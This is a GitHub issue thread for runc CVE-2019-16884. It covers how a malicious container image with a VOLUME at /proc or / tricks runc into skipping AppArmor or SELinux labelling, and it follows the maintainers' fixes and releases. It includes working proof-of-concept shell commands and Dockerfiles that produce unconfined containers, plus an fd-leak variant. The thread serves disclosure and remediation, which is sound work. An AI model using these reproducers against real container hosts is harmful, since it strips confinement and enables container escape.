AppArmor can be bypassed by a malicious image that specifies a volume at /proc #2128

leoluk · 2019-09-22T13:15:28Z

A malicious volume can specify a volume mount on /proc. Since Docker populates the volume by copying data present in the image, it's possible to build a fake structure that will trick runc into believing it had successfully written to /proc/self/attr/exec:

runc/libcontainer/apparmor/apparmor.go

Lines 23 to 25 in 7507c64

    
           // Under AppArmor you can only change your own attr, so use /proc/self/ 
        
           // instead of /proc/<tid>/ like libapparmor does 
        
           path := fmt.Sprintf("/proc/self/attr/%s", attr)

This is possible because apparmor.ApplyProfile is executed in the container rootfs, after pivot_root in prepareRootfs:

runc/libcontainer/standard_init_linux.go

Lines 115 to 117 in 7507c64

    
           if err := apparmor.ApplyProfile(l.config.AppArmorProfile); err != nil { 
        
           	return errors.Wrap(err, "apply apparmor profile") 
        
           }

checkMountDestinations is supposed to prevent mounting on top of /proc:

runc/libcontainer/rootfs_linux.go

Lines 464 to 469 in 7507c64

    
           // checkMountDestination checks to ensure that the mount destination is not over the top of /proc. 
        
           // dest is required to be an abs path and have any symlinks resolved before calling this function. 
        
           func checkMountDestination(rootfs, dest string) error { 
        
           	invalidDestinations := []string{ 
        
           		"/proc", 
        
           	}

... but the check does not work. I believe the reason is that the dest argument is resolved to an absolute path using securejoin.SecureJoin (before pivot_root), unlike the blacklist in checkMountDestinations, which is relative to the rootfs:

runc/libcontainer/rootfs_linux.go

Lines 414 to 419 in 7507c64

    
           if dest, err = securejoin.SecureJoin(rootfs, m.Destination); err != nil { 
        
           	return err 
        
           } 
        
           if err := checkMountDestination(rootfs, dest); err != nil { 
        
           	return err 
        
           }

Minimal proof of concept (on Ubuntu 18.04):

mkdir -p rootfs/proc/self/{attr,fd}
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /

VOLUME /proc
EOF

docker build -t apparmor-bypass .
docker run --rm -it --security-opt "apparmor=docker-default"  apparmor-bypass
# container runs unconfined

Not a critical bug on its own, but should get a CVE assigned.

Discovered by Adam Iwaniuk and disclosed during DragonSector CTF (https://twitter.com/adam_iwaniuk/status/1175741830136291328).

The CTF challenge mounted a file to /flag-<random> and denied access to it using an AppArmor policy. The bug could then be used to disable the policy and read the file: https://gist.github.com/leoluk/2513b6bbff8aa5cd623f3d7d7f20871a

The text was updated successfully, but these errors were encountered:

cyphar · 2019-09-22T14:36:58Z

Yeah this looks like I messed up the path checking when porting to securejoin.SecureJoin. I will request a CVE and all the rest of that jazz.

Though I do just want to say -- given this was an intended solution to a CTF, it's a shame that we didn't get pinged about it by the organisers beforehand at security@opencontainers.org (or I guess security@docker.com).

cyphar · 2019-09-22T21:29:14Z

It should be noted that the previous check (before we did securejoin) was also wrong -- you could make a symlink to / and then try to mount under it to bypass the protection (this is why I changed it). So really we need to take the relative-to-the-root path to do the comparison.

crosbymichael · 2019-09-23T17:21:57Z

We currently have this PR that changed the logic #1832

crosbymichael · 2019-09-23T17:28:15Z

@giuseppe how do you think we should handle fixing this where we still have the ability to bind proc in rootless containers? Maybe only allow proc mounts if rootless or check that what is being mounted on /proc is a procfs?

Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>

giuseppe · 2019-09-23T20:53:54Z

I think both solutions would work. I am not familiar with AppArmor (and out of office this week to try it out), but would it be possible to set the apparmor profile before pivoting to the new rootfs?

Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>

cyphar · 2019-09-25T19:23:57Z

CVE-2019-16884 has been assigned for this issue.

leoluk · 2019-09-26T12:25:01Z

I looked into it some more, and this affects explicit SELinux labels as well:

runc/libcontainer/standard_init_linux.go

Lines 149 to 152 in 3e425f8

    
           if err := label.SetProcessLabel(l.config.ProcessLabel); err != nil { 
        
           	return errors.Wrap(err, "set process label") 
        
           } 
        
           defer label.SetProcessLabel("")

via:

https://github.com/opencontainers/selinux/blob/bd4431961747d849bd92a9853f63f05235344637/go-selinux/selinux_linux.go#L392-L394

At least on Red Hat-derived distributions, the sVirt profile is applied by default so the impact is likely smaller, but it means that it's not just Ubuntu that is affected.

cyphar · 2019-09-26T14:50:25Z

@leoluk Yeah, because they both use the /proc/self/attr/... for setting labels. However, you would still be (at least slightly) constrained by container_runtime_t because on SELinux systems the runtime itself is also constrained by a profile.

leoluk · 2019-09-26T22:26:55Z

As pointed out by @bennofs in #2129, mounting to / has the same result:

# Ubuntu 18.04

mkdir -p rootfs/proc/self/{fd,attr}
touch rootfs/proc/self/{status,fd/4,fd/5,attr/exec}

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /

VOLUME /
EOF

docker build -t apparmor-bypass .
docker run --rm -it --security-opt "apparmor=docker-default"  apparmor-bypass sleep 10

sleep runs unconfined:

$ ps fauxZ
[...]
unconfined                      root      2696  0.4  2.0 660048 41344 ?        Ssl  00:23   0:00 /usr/bin/containerd
unconfined                      root      4959  0.0  0.2  10616  4716 ?        Sl   00:25   0:00  \_ containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/33fd9e0a780ccd57d2581de6ae4ec317946c6f316174231660f4b39576a1d7d1 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
unconfined                      root      4985  1.7  0.0   1292     4 ?        Ss   00:25   0:00      \_ sleep 10
unconfined                      root      5018  0.3  0.3 462252  7628 ?        Sl   00:25   0:00      \_ runc --root /var/run/docker/runtime-runc/moby --log /run/containerd/io.containerd.runtime.v1.linux/moby/33fd9e0a780ccd57d2581de6ae4ec317946c6f316174231660f4b39576a1d7d1/log.json --log-format json start 33fd9e0a780ccd57d2581de6ae4ec317946c6f316174231660f4b39576a1d7d1

cyphar · 2019-09-27T00:48:37Z

The problem is that some workloads depend on mounting things to / -- so we can't just block it wholesale. It looks like we'll need to move when we do label setting.

I want to re-iterate that we could've worked through these issues more easily if the issue had been reported privately first. I get that "responsible disclosure" is a dirty word these days, but that's because of how proprietary software companies have reacted to disclosures in the past -- we're a free software project and so surely it should be clear that we aren't going to act in that manner. But I guess it's too late to have that conversation now.

cyphar · 2019-09-27T01:42:02Z

Alternatively we could check whether the file we're opening during labeling is actually on procfs and if it isn't we bail. This could be bypassed (by bind-mounting a random other file from procfs that happens to be writeable but a no-op) but you can't really do that using VOLUME (you'd need to create a bad config.json manually -- and there isn't much we can do to protect against those).

EDIT: I've sent opencontainers/selinux#59 and #2130 to do the above. The mount-to-/ reproducer no longer works with that change.

rhatdan · 2019-09-27T06:11:23Z

FYI, this does not seem to effect SELinux.

cat selinux.sh
touch rootfs/proc/self/{status,attr/exec}
touch rootfs/proc/self/fd/{4,5}

cat <<EOF > Dockerfile
FROM busybox
ADD rootfs /

VOLUME /proc
EOF

podman build -t selinux-bypass .
podman run --rm -it  selinux-bypass cat /proc/self/attr/current

./selinux.sh
STEP 1: FROM busybox
Getting image source signatures
Copying blob 7c9d20b9b6cd done
Copying config 19485c79a9 done
Writing manifest to image destination
Storing signatures
STEP 2: ADD rootfs /
bb109b6aee845b7682bf1d2d6e897b3a20fe190d1a24233c8044d47a70c590fc
STEP 3: VOLUME /proc
STEP 4: COMMIT selinux-bypass
98c8ca03d983f9109783cc340cc1c995c376ac008ca7e3d89c9a6b2e9b9bfda3
system_u:system_r:container_t:s0:c24,c219

The label would not be container_t if the process was unconfined.

rhatdan · 2019-09-27T13:59:26Z

Actually I was mistaken. I was testing with crun not runc. runc does not work on F31 right now, so no easy way to fix.

leoluk · 2019-09-27T15:54:59Z

@rhatdan Looks like podman just ignores the volume so this might be why?

leoluk · 2019-09-27T17:19:50Z

I can reproduce the SELinux bypass using Docker CE 19.03.2 with runc at 84373aa on Fedora 30 (same reproducer as above, plus --selinux-enabled in docker.service):

$ docker run --rm --runtime=runc-git -v /proc:/proc2 busybox \
    cat /proc2/self/attr/current

system_u:system_r:container_t:s0:c504,c813

$ docker run --rm --runtime=runc-git -v /proc:/proc2 selinux-bypass \
    cat /proc2/self/attr/current

system_u:system_r:spc_t:s0

cyphar · 2019-09-27T17:33:25Z

@leoluk If you apply the two PRs I've posted (you'll need to apply the go-selinux one to the vendor/ tree), can you still reproduce it? In theory we should be relying on the parent process to set up labels but we'll have to implement that later...

leoluk · 2019-09-27T17:54:25Z

I reviewed the PRs, fix looks solid. Of course, not being in attacker-controlled territory would be best, on the other hand, a sane PaaS would not let untrusted users specify bind/procfs mounts.

With opencontainers/selinux#59 applied to the vendored version in runc master and built using make BUILDTAGS='seccomp selinux', I can't reproduce the issue anymore and it fails with the expected error message:

docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "set process label: /proc path not on procfs: /proc/self/task/1/attr/exec": unknown.

Can't think of a way to bypass it using only VOLUME. Did not test the AppArmor fix but LGTM.

I want to re-iterate that we could've worked through these issues more easily if the issue had been reported privately first. I get that "responsible disclosure" is a dirty word these days, but that's because of how proprietary software companies have reacted to disclosures in the past -- we're a free software project and so surely it should be clear that we aren't going to act in that manner. But I guess it's too late to have that conversation now.

Agreed. Can't really comment on that, since I'm not the one who found the bug and had no prior knowledge of it. I use runc in production and want to help fix this as thoroughly as possible. Thanks y'all for your efforts!

leoluk · 2019-09-27T18:28:12Z

Actually, I can think of one more thing to fix - finalizeNamespace -> utils.CloseExecFrom looks at /proc/self/fd to determine which fds to close:

runc/libcontainer/utils/utils_unix.go

Lines 13 to 17 in 84373aa

    
           func CloseExecFrom(minFd int) error { 
        
           	fdList, err := ioutil.ReadDir("/proc/self/fd") 
        
           	if err != nil { 
        
           		return err 
        
           	}

This can also be bypassed using VOLUME / and leaks fd 4 to the container:

$ docker run --rm --runtime=runc-git -v /proc:/dev/shm/proc poc ls -lisa /dev/shm/proc/self/fd
ls: /dev/shm/proc/self/fd/3: cannot read link: No such file or directory
total 0
1582842      0 dr-x------    2 root     root             0 Sep 27 18:12 .
1582841      0 dr-xr-xr-x    9 root     root             0 Sep 27 18:12 ..
1582843      0 lrwx------    1 root     root            64 Sep 27 18:12 0 -> /dev/null
1582844      0 l-wx------    1 root     root            64 Sep 27 18:12 1 -> pipe:[1582813]
1582845      0 l-wx------    1 root     root            64 Sep 27 18:12 2 -> pipe:[1582814]
1582888      0 lr-x------    1 root     root            64 Sep 27 18:12 3
1582889      0 l-wx------    1 root     root            64 Sep 27 18:12 4 -> pipe:[1582825]

I wrote a quick stap script to audit things that take place after pivot_root:

https://gist.github.com/leoluk/72531d264ae5cc9ff1d467dd097a8081

cyphar · 2019-09-27T18:31:33Z

Yes we can do a statfs check there too. I'll update #2130. Though it should be noted that we no longer have any file descriptors to leak into the container that are super useful for attackers -- I fixed that as part of the patch for CVE-2016-9962.

cyphar · 2019-09-27T18:42:44Z

Of course, not being in attacker-controlled territory would be best

I just remembered why we can't do this for AppArmor. There is kernel limitation that the only process which can change the AppArmor label for a given process is itself -- you cannot change the label for any other process (even as root).

We can work around it by passing a file descriptor to /proc/self/attr/... but this is quite dangerous given it was used as an exploit vector for LXC in 2015-2016.

leoluk · 2019-09-28T17:33:19Z

We can work around it by passing a file descriptor to /proc/self/attr/... but this is quite dangerous given it was used as an exploit vector for LXC in 2015-2016.

I think this is the bug in question: https://bugs.launchpad.net/ubuntu/+source/lxc/+bug/1639345

They were passing a directory fd to /proc/ and due to a kernel bug, you could win a race and ptrace the process as it entered the namespace to elevate privileges inside the container, then use the fd to escape. Docker drops CAP_SYS_PTRACE and either way passing just a file fd should be safe, no?

Even if the fd fails to be closed, the AppArmor profile or SELinux policy won't allow an additional transition.

cyphar · 2019-09-28T18:49:31Z

The problem is that most users of runc don't use user namespaces. Yes, there are (many) protections against attacking an attaching process to a user namespace (in fact these days userns privilege checks for ptrace_may_access are done specifically to protect attaching container runtimes).

But if you don't use user namespaces you're in some amount of trouble even without CAP_SYS_PTRACE. Yes, the fact we O_CLOEXEC and have PR_SET_DUMPABLE set helps protect us against this in general, but this is all bandaid security. If we could simply force users to use user namespaces then it wouldn't be a problem at all.

The use of ptrace in the particular LXC attack is actually a red herring -- see CVE-2016-9962. Though, it doesn't help that half the kernel functions related to processes have "ptrace" in their name even though they are unrelated to ptrace(2). sigh

the AppArmor profile or SELinux policy won't allow an additional transition

The issue is that once you have a file descriptor for /proc/self/attr from the host mount namespace you can use it to walk to the host mount namespace's root (there are workarounds for this such as O_PATH descriptors and all that fun stuff, but it would require pretty large changes to go-selinux). We could try stashing a copy of the container's /proc when we mount it (avoiding that problem entirely) but that would make rootfs_linux even more complicated without a solid argument for why the complexity is worth it.

leoluk · 2019-09-28T20:01:36Z

Great explanation! Sure, as soon as you get a dir fd from the host mount namespace, it's over. But couldn't we open the file itself before pivoting, then write to it and close it after? Anything you can do to a filefd besides writing to it that I'm missing?

cyphar · 2019-09-28T20:14:52Z

This is what I was referring to with "O_PATH re-opening" -- you definitely could do that (and we already do this for the whole create+start workflow of runc). But it would require some pretty big changes to go-selinux so that it takes a file handle for all the possible /proc paths (not to mention that we'd need to open every file inside /proc/$pid/attr and not get them mixed up otherwise we'll end up writing the wrong policy).

Don't get me wrong, it would definitely not be a bad idea to do something like that (and I'm not against it) -- I'm just a little bit worried how complicated it would get (and how much safety it would buy us over the best-effort statfs(2) stuff I just pushed).

Anything you can do to a filefd besides writing to it that I'm missing?

There are some other dodgy things you can do (with things like open_by_handle_at), but all of the ones I can think of require privileges.

cyphar · 2019-10-05T11:41:56Z

This has been fixed and is now in the rc9 release.

opencontainers/runc#2128 opencontainers/runc@331692b Upstream patch commit message by Michael Crosby <crosbymichael@gmail.com>: Only allow proc mount if it is procfs Fixes #2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` CVEs fixed in this build CVE-2019-16168

* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3745](containerd#3745). * Fix large output of processes with TTY getting occasionally truncated. Reported in [containerd#3738](containerd#3738) and fixed by [containerd#3754](containerd#3754). * Fix direct unpack when running in user namespace. Reported in [containerd#3762](containerd#3762), and fixed by [containerd#3779](containerd#3779). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * Add Windows process shim installer [containerd#3792](containerd#3792) * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3733](containerd#3733) and [containerd#3740](containerd#3740). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>

* Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for [CVE-2019-16884](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16884). - More details on the runc CVE in [opencontainers/runc#2128](opencontainers/runc#2128), and the additional mitigations in [opencontainers/runc#2130](opencontainers/runc#2130). * Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in [containerd#3671](containerd#3671), and fixed by [containerd#3746](containerd#3746). * Update Golang runtime to 1.12.13, which includes security fixes to the `crypto/dsa` package made in Go 1.12.11 ([CVE-2019-17596](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17596)), and fixes to the go command, `runtime`, `syscall` and `net` packages (Go 1.12.12). * CRI fixes: - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in [containerd/cri#1309](containerd/cri#1309), and fixed by [containerd#3732](containerd#3732) and [containerd#3739](containerd#3739). Signed-off-by: Sebastiaan van Stijn <github@gone.nl>

full diff: containerd/containerd@v1.2.10...v1.2.11 The eleventh patch release for containerd 1.2 includes an updated runc with an additional fix for CVE-2019-16884 and a Golang update. Notable Updates ----------------------- - Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for CVE-2019-16884. More details on the runc CVE in opencontainers/runc#2128, and the additional mitigations in opencontainers/runc#2130. - Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in containerd/containerd#3671, and fixed by containerd/containerd#3746. - Update Golang runtime to 1.12.13, which includes security fixes to the crypto/dsa package made in Go 1.12.11 (CVE-2019-17596), and fixes to the go command, runtime, syscall and net packages (Go 1.12.12). CRI fixes: ----------------------- - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in containerd/cri#1309, and fixed by containerd/containerd#3732 and containerd/containerd#3739. Signed-off-by: Sebastiaan van Stijn <github@gone.nl>

Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>

full diff: containerd/containerd@v1.2.10...v1.2.11 The eleventh patch release for containerd 1.2 includes an updated runc with an additional fix for CVE-2019-16884 and a Golang update. Notable Updates ----------------------- - Update the runc vendor to v1.0.0-rc9 which includes an additional mitigation for CVE-2019-16884. More details on the runc CVE in opencontainers/runc#2128, and the additional mitigations in opencontainers/runc#2130. - Add local-fs.target to service file to fix corrupt image after unexpected host reboot. Reported in containerd/containerd#3671, and fixed by containerd/containerd#3746. - Update Golang runtime to 1.12.13, which includes security fixes to the crypto/dsa package made in Go 1.12.11 (CVE-2019-17596), and fixes to the go command, runtime, syscall and net packages (Go 1.12.12). CRI fixes: ----------------------- - Fix shim delete error code to avoid unnecessary retries in the CRI plugin. Discovered in containerd/cri#1309, and fixed by containerd/containerd#3732 and containerd/containerd#3739. Signed-off-by: Sebastiaan van Stijn <github@gone.nl> Upstream-commit: cfcf25bb5409eb0c3a9c257b225f2b8890142030 Component: engine

Fixes opencontainers#2128 This allows proc to be bind mounted for host and rootless namespace usecases but it removes the ability to mount over the top of proc with a directory. ```bash > sudo docker run --rm apparmor docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "process_linux.go:449: container init caused \"rootfs_linux.go:58: mounting \\\"/var/lib/docker/volumes/aae28ea068c33d60e64d1a75916cf3ec2dc3634f97571854c9ed30c8401460c1/_data\\\" to rootfs \\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged\\\" at \\\"/proc\\\" caused \\\"\\\\\\\"/var/lib/docker/overlay2/a6be5ae911bf19f8eecb23a295dec85be9a8ee8da66e9fb55b47c841d1e381b7/merged/proc\\\\\\\" cannot be mounted because it is not of type proc\\\"\"": unknown. > sudo docker run --rm -v /proc:/proc apparmor docker-default (enforce) root 18989 0.9 0.0 1288 4 ? Ss 16:47 0:00 sleep 20 ``` Signed-off-by: Michael Crosby <crosbymichael@gmail.com>

crosbymichael mentioned this issue Sep 23, 2019

Only allow proc mount if it is procfs #2129

Merged

estesp mentioned this issue Sep 24, 2019

[release/1.2] Update cri to 40affe7c7402d41618b9791a8cf105ac74ce56d0. containerd/containerd#3674

Merged

mrunalp closed this as completed in #2129 Sep 26, 2019

cyphar reopened this Sep 27, 2019

This was referenced Sep 27, 2019

selinux: verify that writes to /proc/... are on procfs opencontainers/selinux#59

Merged

*: verify operations on /proc/... are on procfs #2130

Merged

tao12345666333 mentioned this issue Sep 27, 2019

Update containerd binary to v1.2.10 moby/moby#39995

Merged

This was referenced Sep 27, 2019

[19.03 backport] update containerd 1.2.10, runc v1.0.0-rc8-92-g84373aaa (CVE-2019-16884) docker/engine#385

Merged

[18.09 backport] update containerd 1.2.10, runc v1.0.0-rc8-92-g84373aaa (CVE-2019-16884) docker/engine#386

Merged

leoluk mentioned this issue Sep 29, 2019

fd leak and SELinux/AppArmor bypass (CVE-2019-16884) containers/crun#110

Closed

cyphar closed this as completed Oct 5, 2019

thaJeztah mentioned this issue Nov 8, 2019

[release/1.2] Prepare v1.2.11 release containerd/containerd#3811

Merged

thaJeztah mentioned this issue Nov 8, 2019

[release/1.3] Prepare v1.3.1 release containerd/containerd#3812

Merged

thaJeztah mentioned this issue Nov 28, 2019

[19.03] Update containerd to v1.2.11, runc v1.0.0-rc9 docker/engine#428

Merged

leoluk mentioned this issue Jan 1, 2020

[CVE-2019-19921]: Volume mount race condition with shared mounts #2197

Closed

terenceli mentioned this issue Nov 11, 2021

cve-2019-16884 can't work because of the wrong runc version Metarget/metarget#89

Open

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

AppArmor can be bypassed by a malicious image that specifies a volume at /proc #2128

AppArmor can be bypassed by a malicious image that specifies a volume at /proc #2128

leoluk commented Sep 22, 2019 •

edited

cyphar commented Sep 22, 2019

cyphar commented Sep 22, 2019 •

edited

crosbymichael commented Sep 23, 2019

crosbymichael commented Sep 23, 2019

giuseppe commented Sep 23, 2019

cyphar commented Sep 25, 2019

leoluk commented Sep 26, 2019 •

edited

cyphar commented Sep 26, 2019

leoluk commented Sep 26, 2019 •

edited

cyphar commented Sep 27, 2019 •

edited

cyphar commented Sep 27, 2019 •

edited

rhatdan commented Sep 27, 2019 •

edited

rhatdan commented Sep 27, 2019

leoluk commented Sep 27, 2019

leoluk commented Sep 27, 2019 •

edited

cyphar commented Sep 27, 2019 •

edited

leoluk commented Sep 27, 2019

leoluk commented Sep 27, 2019

cyphar commented Sep 27, 2019

cyphar commented Sep 27, 2019 •

edited

leoluk commented Sep 28, 2019 •

edited

cyphar commented Sep 28, 2019 •

edited

leoluk commented Sep 28, 2019

cyphar commented Sep 28, 2019

cyphar commented Oct 5, 2019

AppArmor can be bypassed by a malicious image that specifies a volume at /proc #2128

AppArmor can be bypassed by a malicious image that specifies a volume at /proc #2128

Comments

leoluk commented Sep 22, 2019 • edited

cyphar commented Sep 22, 2019

cyphar commented Sep 22, 2019 • edited

crosbymichael commented Sep 23, 2019

crosbymichael commented Sep 23, 2019

giuseppe commented Sep 23, 2019

cyphar commented Sep 25, 2019

leoluk commented Sep 26, 2019 • edited

cyphar commented Sep 26, 2019

leoluk commented Sep 26, 2019 • edited

cyphar commented Sep 27, 2019 • edited

cyphar commented Sep 27, 2019 • edited

rhatdan commented Sep 27, 2019 • edited

rhatdan commented Sep 27, 2019

leoluk commented Sep 27, 2019

leoluk commented Sep 27, 2019 • edited

cyphar commented Sep 27, 2019 • edited

leoluk commented Sep 27, 2019

leoluk commented Sep 27, 2019

cyphar commented Sep 27, 2019

cyphar commented Sep 27, 2019 • edited

leoluk commented Sep 28, 2019 • edited

cyphar commented Sep 28, 2019 • edited

leoluk commented Sep 28, 2019

cyphar commented Sep 28, 2019

cyphar commented Oct 5, 2019

leoluk commented Sep 22, 2019 •

edited

cyphar commented Sep 22, 2019 •

edited

leoluk commented Sep 26, 2019 •

edited

leoluk commented Sep 26, 2019 •

edited

cyphar commented Sep 27, 2019 •

edited

cyphar commented Sep 27, 2019 •

edited

rhatdan commented Sep 27, 2019 •

edited

leoluk commented Sep 27, 2019 •

edited

cyphar commented Sep 27, 2019 •

edited

cyphar commented Sep 27, 2019 •

edited

leoluk commented Sep 28, 2019 •

edited

cyphar commented Sep 28, 2019 •

edited